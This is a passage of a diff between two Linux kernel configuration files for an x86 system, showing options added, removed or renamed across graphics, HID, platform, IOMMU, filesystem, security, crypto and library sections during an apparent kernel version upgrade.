CONFIG_VGA_SWITCHEROO is not set CONFIG_DRM=y -# CONFIG_DRM_DP_AUX_CHARDEV is not set # CONFIG_DRM_DEBUG_MM is not set -# CONFIG_DRM_DEBUG_SELFTEST is not set +CONFIG_DRM_USE_DYNAMIC_DEBUG=y CONFIG_DRM_KMS_HELPER=y -CONFIG_DRM_KMS_FB_HELPER=y # CONFIG_DRM_DEBUG_DP_MST_TOPOLOGY_REFS is not set +# CONFIG_DRM_DEBUG_MODESET_LOCK is not set CONFIG_DRM_FBDEV_EMULATION=y CONFIG_DRM_FBDEV_OVERALLOC=100 # CONFIG_DRM_FBDEV_LEAK_PHYS_SMEM is not set # CONFIG_DRM_LOAD_EDID_FIRMWARE is not set -# CONFIG_DRM_DP_CEC is not set CONFIG_DRM_TTM=y -CONFIG_DRM_TTM_DMA_PAGE_POOL=y CONFIG_DRM_VRAM_HELPER=y CONFIG_DRM_TTM_HELPER=y @@ -1802,7 +1918,7 @@ CONFIG_DRM_TTM_HELPER=y CONFIG_DRM_AST=y # CONFIG_DRM_MGAG200 is not set # CONFIG_DRM_QXL is not set -# CONFIG_DRM_BOCHS is not set +# CONFIG_DRM_VIRTIO_GPU is not set CONFIG_DRM_PANEL=y # @@ -1820,11 +1936,16 @@ CONFIG_DRM_PANEL_BRIDGE=y # end of Display Interface Bridges # CONFIG_DRM_ETNAVIV is not set +# CONFIG_DRM_BOCHS is not set # CONFIG_DRM_CIRRUS_QEMU is not set # CONFIG_DRM_GM12U320 is not set +# CONFIG_DRM_SIMPLEDRM is not set # CONFIG_DRM_VBOXVIDEO is not set +# CONFIG_DRM_GUD is not set +# CONFIG_DRM_SSD130X is not set # CONFIG_DRM_LEGACY is not set CONFIG_DRM_PANEL_ORIENTATION_QUIRKS=y +CONFIG_DRM_NOMODESET=y # # Frame buffer Devices @@ -1833,7 +1954,6 @@ CONFIG_FB_CMDLINE=y CONFIG_FB_NOTIFY=y CONFIG_FB=y # CONFIG_FIRMWARE_EDID is not set -CONFIG_FB_BOOT_VESA_SUPPORT=y CONFIG_FB_CFB_FILLRECT=y CONFIG_FB_CFB_COPYAREA=y CONFIG_FB_CFB_IMAGEBLIT=y @@ -1917,6 +2037,7 @@ CONFIG_DUMMY_CONSOLE=y CONFIG_DUMMY_CONSOLE_COLUMNS=80 CONFIG_DUMMY_CONSOLE_ROWS=25 CONFIG_FRAMEBUFFER_CONSOLE=y +CONFIG_FRAMEBUFFER_CONSOLE_LEGACY_ACCELERATION=y CONFIG_FRAMEBUFFER_CONSOLE_DETECT_PRIMARY=y # CONFIG_FRAMEBUFFER_CONSOLE_ROTATION is not set # CONFIG_FRAMEBUFFER_CONSOLE_DEFERRED_TAKEOVER is not set @@ -1942,7 +2063,6 @@ CONFIG_HID_GENERIC=y # CONFIG_HID_A4TECH is not set # CONFIG_HID_ACCUTOUCH is not set # CONFIG_HID_ACRUX is not set -# CONFIG_HID_APPLE is not set # CONFIG_HID_APPLEIR is not set # CONFIG_HID_AUREAL is not set # CONFIG_HID_BELKIN is not set @@ -1969,6 +2089,8 @@ CONFIG_HID_GENERIC=y # CONFIG_HID_UCLOGIC is not set # CONFIG_HID_WALTOP is not set # CONFIG_HID_VIEWSONIC is not set +# CONFIG_HID_VRC2 is not set +# CONFIG_HID_XIAOMI is not set # CONFIG_HID_GYRATION is not set # CONFIG_HID_ICADE is not set # CONFIG_HID_ITE is not set @@ -1977,9 +2099,11 @@ CONFIG_HID_GENERIC=y # CONFIG_HID_KENSINGTON is not set # CONFIG_HID_LCPOWER is not set # CONFIG_HID_LENOVO is not set +# CONFIG_HID_LETSKETCH is not set # CONFIG_HID_MAGICMOUSE is not set # CONFIG_HID_MALTRON is not set # CONFIG_HID_MAYFLASH is not set +# CONFIG_HID_MEGAWORLD_FF is not set # CONFIG_HID_REDRAGON is not set # CONFIG_HID_MICROSOFT is not set # CONFIG_HID_MONTEREY is not set @@ -1992,11 +2116,15 @@ CONFIG_HID_GENERIC=y # CONFIG_HID_PETALYNX is not set # CONFIG_HID_PICOLCD is not set # CONFIG_HID_PLANTRONICS is not set +# CONFIG_HID_PXRC is not set +# CONFIG_HID_RAZER is not set # CONFIG_HID_PRIMAX is not set # CONFIG_HID_RETRODE is not set # CONFIG_HID_ROCCAT is not set # CONFIG_HID_SAITEK is not set # CONFIG_HID_SAMSUNG is not set +# CONFIG_HID_SEMITEK is not set +# CONFIG_HID_SIGMAMICRO is not set # CONFIG_HID_SPEEDLINK is not set # CONFIG_HID_STEAM is not set # CONFIG_HID_STEELSERIES is not set @@ -2006,6 +2134,7 @@ CONFIG_HID_GENERIC=y # CONFIG_HID_SMARTJOYPLUS is not set # CONFIG_HID_TIVO is not set # CONFIG_HID_TOPSEED is not set +# CONFIG_HID_TOPRE is not set # CONFIG_HID_THRUSTMASTER is not set # CONFIG_HID_UDRAW_PS3 is not set # CONFIG_HID_WACOM is not set @@ -2034,7 +2163,7 @@ CONFIG_USB_HID=m # # I2C HID support # -# CONFIG_I2C_HID is not set +# CONFIG_I2C_HID_ACPI is not set # end of I2C HID support # @@ -2042,6 +2171,12 @@ CONFIG_USB_HID=m # # CONFIG_INTEL_ISH_HID is not set # end of Intel ISH HID support + +# +# AMD SFH HID Support +# +# CONFIG_AMD_SFH_HID is not set +# end of AMD SFH HID Support # end of HID support CONFIG_USB_OHCI_LITTLE_ENDIAN=y @@ -2128,7 +2263,7 @@ CONFIG_USB_STORAGE=m # CONFIG_USB_MDC800 is not set # CONFIG_USB_MICROTEK is not set # CONFIG_USBIP_CORE is not set -# CONFIG_USB_CDNS3 is not set +# CONFIG_USB_CDNS_SUPPORT is not set # CONFIG_USB_MUSB_HDRC is not set # CONFIG_USB_DWC3 is not set # CONFIG_USB_DWC2 is not set @@ -2181,6 +2316,7 @@ CONFIG_USB_STORAGE=m # CONFIG_TYPEC is not set # CONFIG_USB_ROLE_SWITCH is not set # CONFIG_MMC is not set +# CONFIG_SCSI_UFSHCD is not set # CONFIG_MEMSTICK is not set # CONFIG_NEW_LEDS is not set # CONFIG_ACCESSIBILITY is not set @@ -2249,6 +2385,7 @@ CONFIG_RTC_I2C_AND_SPI=y # CONFIG_RTC_DRV_DS3232 is not set # CONFIG_RTC_DRV_PCF2127 is not set # CONFIG_RTC_DRV_RV3029C2 is not set +# CONFIG_RTC_DRV_RX6110 is not set # # Platform RTC drivers @@ -2277,6 +2414,7 @@ CONFIG_RTC_DRV_CMOS=y # # HID Sensor RTC drivers # +# CONFIG_RTC_DRV_GOLDFISH is not set # CONFIG_DMADEVICES is not set # @@ -2285,8 +2423,10 @@ CONFIG_RTC_DRV_CMOS=y CONFIG_SYNC_FILE=y # CONFIG_SW_SYNC is not set # CONFIG_DMABUF_MOVE_NOTIFY is not set +# CONFIG_DMABUF_DEBUG is not set # CONFIG_DMABUF_SELFTESTS is not set # CONFIG_DMABUF_HEAPS is not set +# CONFIG_DMABUF_SYSFS_STATS is not set # end of DMABUF options # CONFIG_AUXDISPLAY is not set @@ -2306,13 +2446,67 @@ CONFIG_VHOST_MENU=y # end of Microsoft Hyper-V guest support # CONFIG_GREYBUS is not set +# CONFIG_COMEDI is not set # CONFIG_STAGING is not set -# CONFIG_X86_PLATFORM_DEVICES is not set -CONFIG_PMC_ATOM=y # CONFIG_CHROME_PLATFORMS is not set # CONFIG_MELLANOX_PLATFORM is not set +# CONFIG_SURFACE_PLATFORMS is not set +CONFIG_X86_PLATFORM_DEVICES=y +# CONFIG_ACPI_WMI is not set +# CONFIG_ACERHDF is not set +# CONFIG_ACER_WIRELESS is not set +# CONFIG_AMD_PMF is not set +# CONFIG_AMD_PMC is not set +# CONFIG_AMD_HSMP is not set +# CONFIG_ADV_SWBUTTON is not set +# CONFIG_APPLE_GMUX is not set +# CONFIG_ASUS_LAPTOP is not set +# CONFIG_ASUS_WIRELESS is not set +# CONFIG_X86_PLATFORM_DRIVERS_DELL is not set +# CONFIG_FUJITSU_LAPTOP is not set +# CONFIG_FUJITSU_TABLET is not set +# CONFIG_GPD_POCKET_FAN is not set +# CONFIG_HP_ACCEL is not set +# CONFIG_WIRELESS_HOTKEY is not set +# CONFIG_IBM_RTL is not set +# CONFIG_SENSORS_HDAPS is not set +# CONFIG_THINKPAD_ACPI is not set +# CONFIG_INTEL_SAR_INT1092 is not set +# CONFIG_INTEL_PMC_CORE is not set + +# +# Intel Speed Select Technology interface support +# +# CONFIG_INTEL_SPEED_SELECT_INTERFACE is not set +# end of Intel Speed Select Technology interface support + +# +# Intel Uncore Frequency Control +# +# CONFIG_INTEL_UNCORE_FREQ_CONTROL is not set +# end of Intel Uncore Frequency Control + +# CONFIG_INTEL_HID_EVENT is not set +# CONFIG_INTEL_VBTN is not set +# CONFIG_INTEL_PUNIT_IPC is not set +# CONFIG_INTEL_RST is not set +# CONFIG_INTEL_SMARTCONNECT is not set +# CONFIG_INTEL_VSEC is not set +# CONFIG_SAMSUNG_LAPTOP is not set +# CONFIG_SAMSUNG_Q10 is not set +# CONFIG_TOSHIBA_BT_RFKILL is not set +# CONFIG_TOSHIBA_HAPS is not set +# CONFIG_ACPI_CMPC is not set +# CONFIG_PANASONIC_LAPTOP is not set +# CONFIG_TOPSTAR_LAPTOP is not set +# CONFIG_MLX_PLATFORM is not set +# CONFIG_INTEL_IPS is not set +# CONFIG_INTEL_SCU_PCI is not set +# CONFIG_INTEL_SCU_PLATFORM is not set +# CONFIG_SIEMENS_SIMATIC_IPC is not set +# CONFIG_WINMATE_FM07_KEYS is not set +# CONFIG_P2SB is not set CONFIG_HAVE_CLK=y -CONFIG_CLKDEV_LOOKUP=y CONFIG_HAVE_CLK_PREPARE=y CONFIG_COMMON_CLK=y # CONFIG_COMMON_CLK_MAX9485 is not set @@ -2321,6 +2515,7 @@ CONFIG_COMMON_CLK=y # CONFIG_COMMON_CLK_SI544 is not set # CONFIG_COMMON_CLK_CDCE706 is not set # CONFIG_COMMON_CLK_CS2000_CP is not set +# CONFIG_XILINX_VCU is not set # CONFIG_HWSPINLOCK is not set # @@ -2341,9 +2536,12 @@ CONFIG_IOMMU_SUPPORT=y # # Generic IOMMU Pagetable Support # +CONFIG_IOMMU_IO_PGTABLE=y # end of Generic IOMMU Pagetable Support # CONFIG_IOMMU_DEBUGFS is not set +# CONFIG_IOMMU_DEFAULT_DMA_STRICT is not set +CONFIG_IOMMU_DEFAULT_DMA_LAZY=y # CONFIG_IOMMU_DEFAULT_PASSTHROUGH is not set CONFIG_IOMMU_DMA=y CONFIG_AMD_IOMMU=y @@ -2375,11 +2573,6 @@ CONFIG_AMD_IOMMU_V2=y # # end of Amlogic SoC drivers -# -# Aspeed SoC drivers -# -# end of Aspeed SoC drivers - # # Broadcom SoC drivers # @@ -2390,11 +2583,21 @@ CONFIG_AMD_IOMMU_V2=y # # end of NXP/Freescale QorIQ SoC drivers +# +# fujitsu SoC drivers +# +# end of fujitsu SoC drivers + # # i.MX SoC drivers # # end of i.MX SoC drivers +# +# Enable LiteX SoC Builder specific drivers +# +# end of Enable LiteX SoC Builder specific drivers + # # Qualcomm SoC drivers # @@ -2405,7 +2608,6 @@ CONFIG_AMD_IOMMU_V2=y # # Xilinx SoC drivers # -# CONFIG_XILINX_VCU is not set # end of Xilinx SoC drivers # end of SOC (System On Chip) specific Drivers @@ -2414,7 +2616,6 @@ CONFIG_AMD_IOMMU_V2=y # CONFIG_MEMORY is not set # CONFIG_IIO is not set # CONFIG_NTB is not set -# CONFIG_VME_BUS is not set # CONFIG_PWM is not set # @@ -2430,7 +2631,14 @@ CONFIG_AMD_IOMMU_V2=y # CONFIG_GENERIC_PHY=y # CONFIG_USB_LGM_PHY is not set +# CONFIG_PHY_CAN_TRANSCEIVER is not set + +# +# PHY drivers for Broadcom platforms +# # CONFIG_BCM_KONA_USB2_PHY is not set +# end of PHY drivers for Broadcom platforms + # CONFIG_PHY_PXA_28NM_HSIC is not set # CONFIG_PHY_PXA_28NM_USB2 is not set # CONFIG_PHY_INTEL_LGM_EMMC is not set @@ -2450,16 +2658,16 @@ CONFIG_GENERIC_PHY=y # # Android # -# CONFIG_ANDROID is not set +# CONFIG_ANDROID_BINDER_IPC is not set # end of Android CONFIG_LIBNVDIMM=y # CONFIG_BLK_DEV_PMEM is not set -# CONFIG_ND_BLK is not set # CONFIG_BTT is not set # CONFIG_DAX is not set CONFIG_NVMEM=y -CONFIG_NVMEM_SYSFS=y +# CONFIG_NVMEM_SYSFS is not set +# CONFIG_NVMEM_RMEM is not set # # HW tracing support @@ -2470,11 +2678,12 @@ CONFIG_NVMEM_SYSFS=y # CONFIG_FPGA is not set # CONFIG_TEE is not set -# CONFIG_UNISYS_VISORBUS is not set # CONFIG_SIOX is not set # CONFIG_SLIMBUS is not set # CONFIG_INTERCONNECT is not set # CONFIG_COUNTER is not set +# CONFIG_PECI is not set +# CONFIG_HTE is not set # end of Device Drivers # @@ -2500,10 +2709,8 @@ CONFIG_FS_MBCACHE=y # CONFIG_BTRFS_FS is not set # CONFIG_NILFS2_FS is not set # CONFIG_F2FS_FS is not set -# CONFIG_FS_DAX is not set # CONFIG_EXPORTFS_BLOCK_OPS is not set CONFIG_FILE_LOCKING=y -CONFIG_MANDATORY_FILE_LOCKING=y # CONFIG_FS_ENCRYPTION is not set # CONFIG_FS_VERITY is not set # CONFIG_DNOTIFY is not set @@ -2542,6 +2749,7 @@ CONFIG_FAT_DEFAULT_IOCHARSET="iso8859-1" CONFIG_EXFAT_FS=y CONFIG_EXFAT_DEFAULT_IOCHARSET="utf8" # CONFIG_NTFS_FS is not set +# CONFIG_NTFS3_FS is not set # end of DOS/FAT/EXFAT/NT Filesystems # @@ -2557,6 +2765,7 @@ CONFIG_KERNFS=y CONFIG_SYSFS=y # CONFIG_TMPFS is not set # CONFIG_HUGETLBFS is not set +CONFIG_ARCH_WANT_HUGETLB_PAGE_OPTIMIZE_VMEMMAP=y CONFIG_ARCH_HAS_GIGANTIC_PAGE=y # CONFIG_CONFIGFS_FS is not set # end of Pseudo filesystems @@ -2628,11 +2837,8 @@ CONFIG_IO_WQ=y # CONFIG_KEYS is not set # CONFIG_SECURITY_DMESG_RESTRICT is not set CONFIG_SECURITYFS=y -CONFIG_PAGE_TABLE_ISOLATION=y CONFIG_HAVE_HARDENED_USERCOPY_ALLOCATOR=y CONFIG_HARDENED_USERCOPY=y -CONFIG_HARDENED_USERCOPY_FALLBACK=y -# CONFIG_HARDENED_USERCOPY_PAGESPAN is not set # CONFIG_FORTIFY_SOURCE is not set # CONFIG_STATIC_USERMODEHELPER is not set CONFIG_DEFAULT_SECURITY_DAC=y @@ -2646,9 +2852,17 @@ CONFIG_LSM="lockdown,yama,loadpin,safesetid,integrity,bpf" # Memory initialization # CONFIG_INIT_STACK_NONE=y +# CONFIG_GCC_PLUGIN_STRUCTLEAK_USER is not set +# CONFIG_GCC_PLUGIN_STRUCTLEAK_BYREF is not set +# CONFIG_GCC_PLUGIN_STRUCTLEAK_BYREF_ALL is not set +# CONFIG_GCC_PLUGIN_STACKLEAK is not set # CONFIG_INIT_ON_ALLOC_DEFAULT_ON is not set # CONFIG_INIT_ON_FREE_DEFAULT_ON is not set # end of Memory initialization + +CONFIG_RANDSTRUCT_NONE=y +# CONFIG_RANDSTRUCT_FULL is not set +# CONFIG_RANDSTRUCT_PERFORMANCE is not set # end of Kernel hardening options # end of Security options @@ -2680,6 +2894,8 @@ CONFIG_CRYPTO_NULL2=y CONFIG_CRYPTO_CRYPTD=y CONFIG_CRYPTO_AUTHENC=y # CONFIG_CRYPTO_TEST is not set +CONFIG_CRYPTO_SIMD=y +# end of Crypto core or helper # # Public-key cryptography @@ -2687,114 +2903,90 @@ CONFIG_CRYPTO_AUTHENC=y # CONFIG_CRYPTO_RSA is not set # CONFIG_CRYPTO_DH is not set # CONFIG_CRYPTO_ECDH is not set +# CONFIG_CRYPTO_ECDSA is not set # CONFIG_CRYPTO_ECRDSA is not set # CONFIG_CRYPTO_SM2 is not set # CONFIG_CRYPTO_CURVE25519 is not set -# CONFIG_CRYPTO_CURVE25519_X86 is not set +# end of Public-key cryptography # -# Authenticated Encryption with Associated Data +# Block ciphers # -# CONFIG_CRYPTO_CCM is not set -# CONFIG_CRYPTO_GCM is not set -# CONFIG_CRYPTO_CHACHA20POLY1305 is not set -# CONFIG_CRYPTO_AEGIS128 is not set -# CONFIG_CRYPTO_AEGIS128_AESNI_SSE2 is not set -# CONFIG_CRYPTO_SEQIV is not set -# CONFIG_CRYPTO_ECHAINIV is not set +CONFIG_CRYPTO_AES=y +# CONFIG_CRYPTO_AES_TI is not set +# CONFIG_CRYPTO_ARIA is not set +# CONFIG_CRYPTO_BLOWFISH is not set +# CONFIG_CRYPTO_CAMELLIA is not set +# CONFIG_CRYPTO_CAST5 is not set +# CONFIG_CRYPTO_CAST6 is not set +# CONFIG_CRYPTO_DES is not set +# CONFIG_CRYPTO_FCRYPT is not set +# CONFIG_CRYPTO_SERPENT is not set +# CONFIG_CRYPTO_SM4_GENERIC is not set +# CONFIG_CRYPTO_TWOFISH is not set +# end of Block ciphers # -# Block modes +# Length-preserving ciphers and modes # +# CONFIG_CRYPTO_ADIANTUM is not set +# CONFIG_CRYPTO_CHACHA20 is not set CONFIG_CRYPTO_CBC=y # CONFIG_CRYPTO_CFB is not set # CONFIG_CRYPTO_CTR is not set # CONFIG_CRYPTO_CTS is not set CONFIG_CRYPTO_ECB=y +# CONFIG_CRYPTO_HCTR2 is not set +# CONFIG_CRYPTO_KEYWRAP is not set # CONFIG_CRYPTO_LRW is not set # CONFIG_CRYPTO_OFB is not set # CONFIG_CRYPTO_PCBC is not set CONFIG_CRYPTO_XTS=y -# CONFIG_CRYPTO_KEYWRAP is not set -# CONFIG_CRYPTO_NHPOLY1305_SSE2 is not set -# CONFIG_CRYPTO_NHPOLY1305_AVX2 is not set -# CONFIG_CRYPTO_ADIANTUM is not set -CONFIG_CRYPTO_ESSIV=y +# end of Length-preserving ciphers and modes # -# Hash modes +# AEAD (authenticated encryption with associated data) ciphers # -# CONFIG_CRYPTO_CMAC is not set -CONFIG_CRYPTO_HMAC=y -# CONFIG_CRYPTO_XCBC is not set -# CONFIG_CRYPTO_VMAC is not set +# CONFIG_CRYPTO_AEGIS128 is not set +# CONFIG_CRYPTO_CHACHA20POLY1305 is not set +# CONFIG_CRYPTO_CCM is not set +# CONFIG_CRYPTO_GCM is not set +# CONFIG_CRYPTO_SEQIV is not set +# CONFIG_CRYPTO_ECHAINIV is not set +CONFIG_CRYPTO_ESSIV=y +# end of AEAD (authenticated encryption with associated data) ciphers # -# Digest +# Hashes, digests, and MACs # -CONFIG_CRYPTO_CRC32C=y -CONFIG_CRYPTO_CRC32C_INTEL=y -# CONFIG_CRYPTO_CRC32 is not set -# CONFIG_CRYPTO_CRC32_PCLMUL is not set -# CONFIG_CRYPTO_XXHASH is not set # CONFIG_CRYPTO_BLAKE2B is not set -# CONFIG_CRYPTO_BLAKE2S is not set -# CONFIG_CRYPTO_BLAKE2S_X86 is not set -# CONFIG_CRYPTO_CRCT10DIF is not set +# CONFIG_CRYPTO_CMAC is not set # CONFIG_CRYPTO_GHASH is not set -# CONFIG_CRYPTO_POLY1305 is not set -# CONFIG_CRYPTO_POLY1305_X86_64 is not set +CONFIG_CRYPTO_HMAC=y # CONFIG_CRYPTO_MD4 is not set CONFIG_CRYPTO_MD5=y # CONFIG_CRYPTO_MICHAEL_MIC is not set -# CONFIG_CRYPTO_RMD128 is not set +# CONFIG_CRYPTO_POLY1305 is not set # CONFIG_CRYPTO_RMD160 is not set -# CONFIG_CRYPTO_RMD256 is not set -# CONFIG_CRYPTO_RMD320 is not set CONFIG_CRYPTO_SHA1=y -CONFIG_CRYPTO_SHA1_SSSE3=y -CONFIG_CRYPTO_SHA256_SSSE3=y -CONFIG_CRYPTO_SHA512_SSSE3=y CONFIG_CRYPTO_SHA256=y CONFIG_CRYPTO_SHA512=y # CONFIG_CRYPTO_SHA3 is not set -# CONFIG_CRYPTO_SM3 is not set +# CONFIG_CRYPTO_SM3_GENERIC is not set # CONFIG_CRYPTO_STREEBOG is not set -# CONFIG_CRYPTO_TGR192 is not set +# CONFIG_CRYPTO_VMAC is not set # CONFIG_CRYPTO_WP512 is not set -# CONFIG_CRYPTO_GHASH_CLMUL_NI_INTEL is not set +# CONFIG_CRYPTO_XCBC is not set +# CONFIG_CRYPTO_XXHASH is not set +# end of Hashes, digests, and MACs # -# Ciphers +# CRCs (cyclic redundancy checks) # -CONFIG_CRYPTO_AES=y -# CONFIG_CRYPTO_AES_TI is not set -# CONFIG_CRYPTO_AES_NI_INTEL is not set -# CONFIG_CRYPTO_BLOWFISH is not set -# CONFIG_CRYPTO_BLOWFISH_X86_64 is not set -# CONFIG_CRYPTO_CAMELLIA is not set -# CONFIG_CRYPTO_CAMELLIA_X86_64 is not set -# CONFIG_CRYPTO_CAMELLIA_AESNI_AVX_X86_64 is not set -# CONFIG_CRYPTO_CAMELLIA_AESNI_AVX2_X86_64 is not set -# CONFIG_CRYPTO_CAST5 is not set -# CONFIG_CRYPTO_CAST5_AVX_X86_64 is not set -# CONFIG_CRYPTO_CAST6 is not set -# CONFIG_CRYPTO_CAST6_AVX_X86_64 is not set -# CONFIG_CRYPTO_DES is not set -# CONFIG_CRYPTO_DES3_EDE_X86_64 is not set -# CONFIG_CRYPTO_FCRYPT is not set -# CONFIG_CRYPTO_SALSA20 is not set -# CONFIG_CRYPTO_CHACHA20 is not set -# CONFIG_CRYPTO_CHACHA20_X86_64 is not set -# CONFIG_CRYPTO_SERPENT is not set -# CONFIG_CRYPTO_SERPENT_SSE2_X86_64 is not set -# CONFIG_CRYPTO_SERPENT_AVX_X86_64 is not set -# CONFIG_CRYPTO_SERPENT_AVX2_X86_64 is not set -# CONFIG_CRYPTO_SM4 is not set -# CONFIG_CRYPTO_TWOFISH is not set -# CONFIG_CRYPTO_TWOFISH_X86_64 is not set -# CONFIG_CRYPTO_TWOFISH_X86_64_3WAY is not set -# CONFIG_CRYPTO_TWOFISH_AVX_X86_64 is not set +CONFIG_CRYPTO_CRC32C=y +# CONFIG_CRYPTO_CRC32 is not set +# CONFIG_CRYPTO_CRCT10DIF is not set +# end of CRCs (cyclic redundancy checks) # # Compression @@ -2805,13 +2997,19 @@ CONFIG_CRYPTO_AES=y # CONFIG_CRYPTO_LZ4 is not set # CONFIG_CRYPTO_LZ4HC is not set # CONFIG_CRYPTO_ZSTD is not set +# end of Compression # -# Random Number Generation +# Random number generation # # CONFIG_CRYPTO_ANSI_CPRNG is not set # CONFIG_CRYPTO_DRBG_MENU is not set # CONFIG_CRYPTO_JITTERENTROPY is not set +# end of Random number generation + +# +# Userspace interface +# CONFIG_CRYPTO_USER_API=y CONFIG_CRYPTO_USER_API_HASH=y CONFIG_CRYPTO_USER_API_SKCIPHER=y @@ -2819,19 +3017,47 @@ CONFIG_CRYPTO_USER_API_RNG=y CONFIG_CRYPTO_USER_API_AEAD=y # CONFIG_CRYPTO_USER_API_ENABLE_OBSOLETE is not set # CONFIG_CRYPTO_STATS is not set +# end of Userspace interface + CONFIG_CRYPTO_HASH_INFO=y # -# Crypto library routines +# Accelerated Cryptographic Algorithms for CPU (x86) # -CONFIG_CRYPTO_LIB_AES=y -# CONFIG_CRYPTO_LIB_BLAKE2S is not set -# CONFIG_CRYPTO_LIB_CHACHA is not set -# CONFIG_CRYPTO_LIB_CURVE25519 is not set -CONFIG_CRYPTO_LIB_POLY1305_RSIZE=11 -# CONFIG_CRYPTO_LIB_POLY1305 is not set -# CONFIG_CRYPTO_LIB_CHACHA20POLY1305 is not set -CONFIG_CRYPTO_LIB_SHA256=y +# CONFIG_CRYPTO_CURVE25519_X86 is not set +CONFIG_CRYPTO_AES_NI_INTEL=y +# CONFIG_CRYPTO_BLOWFISH_X86_64 is not set +# CONFIG_CRYPTO_CAMELLIA_X86_64 is not set +# CONFIG_CRYPTO_CAMELLIA_AESNI_AVX_X86_64 is not set +# CONFIG_CRYPTO_CAMELLIA_AESNI_AVX2_X86_64 is not set +# CONFIG_CRYPTO_CAST5_AVX_X86_64 is not set +# CONFIG_CRYPTO_CAST6_AVX_X86_64 is not set +# CONFIG_CRYPTO_DES3_EDE_X86_64 is not set +# CONFIG_CRYPTO_SERPENT_SSE2_X86_64 is not set +# CONFIG_CRYPTO_SERPENT_AVX_X86_64 is not set +# CONFIG_CRYPTO_SERPENT_AVX2_X86_64 is not set +# CONFIG_CRYPTO_SM4_AESNI_AVX_X86_64 is not set +# CONFIG_CRYPTO_SM4_AESNI_AVX2_X86_64 is not set +# CONFIG_CRYPTO_TWOFISH_X86_64 is not set +# CONFIG_CRYPTO_TWOFISH_X86_64_3WAY is not set +# CONFIG_CRYPTO_TWOFISH_AVX_X86_64 is not set +# CONFIG_CRYPTO_ARIA_AESNI_AVX_X86_64 is not set +# CONFIG_CRYPTO_CHACHA20_X86_64 is not set +# CONFIG_CRYPTO_AEGIS128_AESNI_SSE2 is not set +# CONFIG_CRYPTO_NHPOLY1305_SSE2 is not set +# CONFIG_CRYPTO_NHPOLY1305_AVX2 is not set +# CONFIG_CRYPTO_BLAKE2S_X86 is not set +# CONFIG_CRYPTO_POLYVAL_CLMUL_NI is not set +# CONFIG_CRYPTO_POLY1305_X86_64 is not set +CONFIG_CRYPTO_SHA1_SSSE3=y +CONFIG_CRYPTO_SHA256_SSSE3=y +CONFIG_CRYPTO_SHA512_SSSE3=y +# CONFIG_CRYPTO_SM3_AVX_X86_64 is not set +# CONFIG_CRYPTO_GHASH_CLMUL_NI_INTEL is not set +CONFIG_CRYPTO_CRC32C_INTEL=y +# CONFIG_CRYPTO_CRC32_PCLMUL is not set +# end of Accelerated Cryptographic Algorithms for CPU (x86) + # CONFIG_CRYPTO_HW is not set # @@ -2847,7 +3073,6 @@ CONFIG_BITREVERSE=y CONFIG_GENERIC_STRNCPY_FROM_USER=y CONFIG_GENERIC_STRNLEN_USER=y CONFIG_GENERIC_NET_UTILS=y -CONFIG_GENERIC_FIND_FIRST_BIT=y # CONFIG_CORDIC is not set # CONFIG_PRIME_NUMBERS is not set CONFIG_RATIONAL=y @@ -2856,9 +3081,26 @@ CONFIG_GENERIC_IOMAP=y CONFIG_ARCH_USE_CMPXCHG_LOCKREF=y CONFIG_ARCH_HAS_FAST_MULTIPLIER=y CONFIG_ARCH_USE_SYM_ANNOTATIONS=y + +# +# Crypto library routines +# +CONFIG_CRYPTO_LIB_UTILS=y +CONFIG_CRYPTO_LIB_AES=y +CONFIG_CRYPTO_LIB_BLAKE2S_GENERIC=y +# CONFIG_CRYPTO_LIB_CHACHA is not set +# CONFIG_CRYPTO_LIB_CURVE25519 is not set +CONFIG_CRYPTO_LIB_POLY1305_RSIZE=11 +# CONFIG_CRYPTO_LIB_POLY1305 is not set +# CONFIG_CRYPTO_LIB_CHACHA20POLY1305 is not set +CONFIG_CRYPTO_LIB_SHA1=y +CONFIG_CRYPTO_LIB_SHA256=y +# end of Crypto library routines + # CONFIG_CRC_CCITT is not set CONFIG_CRC16=y # CONFIG_CRC_T10DIF is not set +# CONFIG_CRC64_ROCKSOFT is not set # CONFIG_CRC_ITU_T is not set CONFIG_CRC32=y # CONFIG_CRC32_SELFTEST is not set @@ -2873,6 +3115,7 @@ CONFIG_LIBCRC32C=y CONFIG_CRC8=m CONFIG_XXHASH=y # CONFIG_RANDOM32_SELFTEST is not set +CONFIG_ZSTD_COMMON=y CONFIG_ZSTD_DECOMPRESS=y CONFIG_XZ_DEC=y CONFIG_XZ_DEC_X86=y @@ -2881,6 +3124,7 @@ CONFIG_XZ_DEC_IA64=y CONFIG_XZ_DEC_ARM=y CONFIG_XZ_DEC_ARMTHUMB=y CONFIG_XZ_DEC_SPARC=y +# CONFIG_XZ_DEC_MICROLZMA is not set CONFIG_XZ_DEC_BCJ=y # CONFIG_XZ_DEC_TEST is not set CONFIG_DECOMPRESS_XZ=y @@ -2898,7 +3142,9 @@ CONFIG_NEED_DMA_MAP_STATE=y CONFIG_ARCH_DMA_ADDR_T_64BIT=y CONFIG_SWIOTLB=y # CONFIG_DMA_API_DEBUG is not set +# CONFIG_DMA_MAP_BENCHMARK is not set CONFIG_SGL_ALLOC=y +# CONFIG_FORCE_NR_CPUS is not set CONFIG_CPU_RMAP=y CONFIG_DQL=y CONFIG_GLOB=y @@ -2918,8 +3164,8 @@ CONFIG_MEMREGION=y CONFIG_ARCH_HAS_UACCESS_FLUSHCACHE=y CONFIG_ARCH_HAS_COPY_MC=y CONFIG_ARCH_STACKWALK=y +CONFIG_STACKDEPOT=y CONFIG_SBITMAP=y -# CONFIG_STRING_SELFTEST is not set # end of Library routines # @@ -2931,6 +3177,7 @@ CONFIG_SBITMAP=y # CONFIG_PRINTK_TIME=y # CONFIG_PRINTK_CALLER is not set +# CONFIG_STACKTRACE_BUILD_ID is not set CONFIG_CONSOLE_LOGLEVEL_DEFAULT=7 CONFIG_CONSOLE_LOGLEVEL_QUIET=4 CONFIG_MESSAGE_LOGLEVEL_DEFAULT=4 @@ -2941,25 +3188,31 @@ CONFIG_SYMBOLIC_ERRNAME=y # CONFIG_DEBUG_BUGVERBOSE is not set # end of printk and dmesg options +CONFIG_DEBUG_KERNEL=y +# CONFIG_DEBUG_MISC is not set + # # Compile-time checks and compiler options # CONFIG_DEBUG_INFO=y +CONFIG_AS_HAS_NON_CONST_LEB128=y +# CONFIG_DEBUG_INFO_NONE is not set +# CONFIG_DEBUG_INFO_DWARF_TOOLCHAIN_DEFAULT is not set +CONFIG_DEBUG_INFO_DWARF4=y +# CONFIG_DEBUG_INFO_DWARF5 is not set # CONFIG_DEBUG_INFO_REDUCED is not set # CONFIG_DEBUG_INFO_COMPRESSED is not set # 